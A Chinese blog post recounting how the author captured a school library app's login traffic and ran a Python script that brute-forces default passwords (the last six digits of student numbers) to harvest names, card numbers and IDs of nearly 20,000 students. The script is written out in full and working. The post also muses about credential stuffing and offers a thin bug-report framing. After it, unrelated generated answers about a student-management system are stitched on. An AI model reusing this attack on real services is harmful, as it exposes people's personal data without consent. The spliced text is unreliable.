记录一次我是如何爬了某学校近2w学生信息的!

     背景:某学校图书馆为了防止占位,新出来一个软件,用于软件预约坐位,就想写个定时软件来每天预约坐位,把软件要来看看怎么实现。这个软件可能刚上线所以很多逻辑有bug,直接返回json包含了所有信息,而且软件默认为学生号后六位登陆。代码实现用python,多进程+协程处理。


    抓包:打开Fiddler抓包,这个就不教程了,如图一,直接抓post登陆数据包,可以很容易发现,太low了吧。。。返回的信息都太全了,有什么不知道的呢?服务器都还是IP直连。出于对别人和软件的隐私,对图片进行处理。

       

                                                                      图一:抓post数据

虽然软件有确认信息验证,但是你信息都返回到json了,就像赤裸裸的美女在哪跳钢管舞,吭~~反正就那个意思,这有什么用呢?只要没有改过密码的学生或者是只是改了简单的6位密码的学生,那岂不是信息都暴露了?


     爬虫:想到这里,那岂不动手试试?ps:这里本人只是尝试,无意拉去个人信息,且信息无保留,仅作提供bug反馈。

那就模拟post直接把学号+学号后6位跑一遍,把学生的姓名,学生卡号,学生号,学生id全部输出出来吧。代码实现如下:

# -*- coding:utf-8 -*-
__author__ = 'longsir'
__date__ = '#=2018/8/31 13:53'
import requests,gevent
import json
import multiprocessing
import sys
reload(sys)
sys.setdefaultencoding('utf8')


def for_id(start_id,end_id):#循环学生id后6位
    for id in range(start_id,end_id):
        list = []#创建一个列表
        userPhysicalCard = str(id).zfill(6)#设置6位数,前面不足补0
        list.append(userPhysicalCard)#把学生后6位仍进去
        t1=gevent.spawn(check_login,list)#创建一个协程,用于加快爬取速度
        t1.join()

def fetch(post_body):#post登陆数据,抓取数据。
    q = requests.post(url="http://IP/tsgintf/main/service", data=json.dumps(post_body))
    if q.json()['result_code'] == '0':
        print(q.json()['result_data']['userName'] + '----' + q.json()['result_data']['userPhysicalCard'] + '----' +
              q.json()['result_data']['studentCard'] + '----' + str(q.json()['result_data']['userId'])) #打印需要的数据
    # else:
    #     print(userPhysicalCard+'----密码错误')

def check_login(list): #用于生成请求数据body
    tasks=[] #定义个协程列表
    for userPhysicalCard in list: #把传过来的数据进行便利,仍进post_body里
        post_body = {"intf_code": "QRY_LOGIN",
                     "params": {"userPhysicalCard": "2018" + userPhysicalCard, "password": userPhysicalCard,
                                "imei": "866146031624376", "pushid": "36100cd24536fc8c18cf", "os": "android",
                                "wmac": "50:8F:4C:F2:D2:1C", "version": "1.1.11", "tversion": 1535597698021,
                                "md5username": "58a4f9d5bbf4b0c658ded53023e6d2d1"}}
        tasks.append(gevent.spawn(fetch, post_body))#创建协程,调用fetch函数,抓取数据
    gevent.joinall(tasks)#多协程操作

if __name__ == '__main__':
    #starttime = datetime.datetime.now()
    process_list=[] #启动多进程
    p1 = multiprocessing.Process(target=for_id, args=(210001, 300000,))
    process_list.append(p1)
    p2 = multiprocessing.Process(target=for_id, args=(300000, 400000,))
    process_list.append(p2)
    p3 = multiprocessing.Process(target=for_id, args=(400000, 500000,))
    process_list.append(p3)
    p4 = multiprocessing.Process(target=for_id, args=(500000, 600000,))
    process_list.append(p4)
    p5 = multiprocessing.Process(target=for_id, args=(600000, 700000,))
    process_list.append(p5)
    p6 = multiprocessing.Process(target=for_id, args=(700000, 800000,))
    process_list.append(p6)
    p7 = multiprocessing.Process(target=for_id, args=(800000, 900000,))
    process_list.append(p7)
    p8 = multiprocessing.Process(target=for_id, args=(900000, 1000000,))
    process_list.append(p8)

    #生成多进程,加快爬取速度
    for p in process_list:
        p.start()
    for p in process_list:
        p.join()

    # p1.start()
    # p2.start()

然后运行该简单的爬虫,把结果重定向处理。


    结语:

  1. 用这么简单的脚本,我竟然爬了近2w的学生数据【如图二】,一共四届学生的全部信息,有了这些信息我能做什么?不用我说了吧,轻点的我可以掌握这部分学生的部分校园信息,重点的我甚至可以撞库,相信大部分大学生为了省事把各种密码就设置成学号后6位吧?虽然没有学生的身份证信息,但是谁有能确认利用这些信息不能获取到呢???                                                           

                                                                         图二:部分学生信息图

      2. 如何加强防范?长点心啊,这些信息为啥返回,不能隐藏后台校验吗?为什么不设置反爬虫机制?我一个ip爬了2w的信息,为什么不封我ip呢?为什么不设置成身份证后6位密码,而是仅仅简单的学号后6位呢?

      3. 此篇文章并没有多大技术含量,仅以此文章反馈贵校软件存在的问题。希望贵校重视此问题并及时修复。


 

  • 8
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
### 回答1: 好的,我可以为您提供一些关于Python学生信息管理系统的建议。首先,您需要确定您想要管理哪些学生信息,例如学生姓名、学号、成绩等。接下来,您可以使用Python编写一个能够实现以下功能的程序: 1. 添加学生信息 2. 查找学生信息 3. 修改学生信息 4. 删除学生信息 5. 显示所有学生信息 您可以使用Python中的列表、字典或者类等数据结构来存储学生信息。此外,您可以使用Python中的文件操作来将学生信息保存在本地,以便下次使用时能够读取。 以下是一个简单的Python学生信息管理系统的代码示例,仅供参考: ```python class Student: def __init__(self, name, id, score): self.name = name self.id = id self.score = score class StudentManagementSystem: def __init__(self): self.students = [] def add_student(self, student): self.students.append(student) def find_student(self, id): for student in self.students: if student.id == id: return student return None def modify_student(self, id, name, score): student = self.find_student(id) if student: student.name = name student.score = score return True return False def delete_student(self, id): student = self.find_student(id) if student: self.students.remove(student) return True return False def display_all_students(self): for student in self.students: print(f"Name: {student.name}, ID: {student.id}, Score: {student.score}") def save_to_file(self, filename): with open(filename, "w") as f: for student in self.students: f.write(f"{student.name},{student.id},{student.score}\n") def load_from_file(self, filename): with open(filename, "r") as f: lines = f.readlines() for line in lines: name, id, score = line.strip().split(",") self.add_student(Student(name, id, score)) ``` 您可以通过创建一个`StudentManagementSystem`对象来进行学生信息的管理。例如: ```python sms = StudentManagementSystem() sms.add_student(Student("Tom", "001", 90)) sms.add_student(Student("Jerry", "002", 80)) sms.display_all_students() ``` 这将会打印出所有学生的信息。 还有很多其他的功能和细节可以根据您的具体需求进行实现和完善。希望这些提示对您有所帮助! ### 回答2: Python学生信息管理是一种使用Python编程语言来实现学生信息记录、查询和管理的系统。这个系统可以用于学校、教育机构或者其他组织中对学生信息进行管理。 首先,我们可以使用Python中的类来定义一个学生对象。这个学生对象可以包括学生的姓名、学号、年龄、性别等基本信息。我们可以使用类的属性来存储这些信息,并提供构造函数来初始化这些属性。 其次,我们可以使用Python的列表或字典来存储多个学生对象。列表可以用于按顺序存储学生对象,而字典可以使用学号作为键来存储学生对象。这样,我们就可以根据学号来快速查询到对应的学生对象。 然后,我们可以编写函数来实现对学生信息的增加、删除、修改和查询等操作。例如,我们可以编写一个函数来添加学生信息,输入学生的基本信息,创建学生对象并将其添加到学生列表或字典中。另外,我们还可以编写函数来删除学生信息,根据学号在学生列表或字典中删除对应的学生对象。 最后,我们可以编写一个简单的用户界面来与用户交互。例如,我们可以使用Python的命令行界面或者图形界面库来展示学生信息的列表或字典,用户可以通过输入指令来实现对学生信息的操作。 总之,Python学生信息管理系统是使用Python编程语言来实现对学生信息记录、查询和管理的系统。通过定义学生对象、存储学生信息、编写相关函数和用户界面,我们可以方便地实现对学生信息的各种操作。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值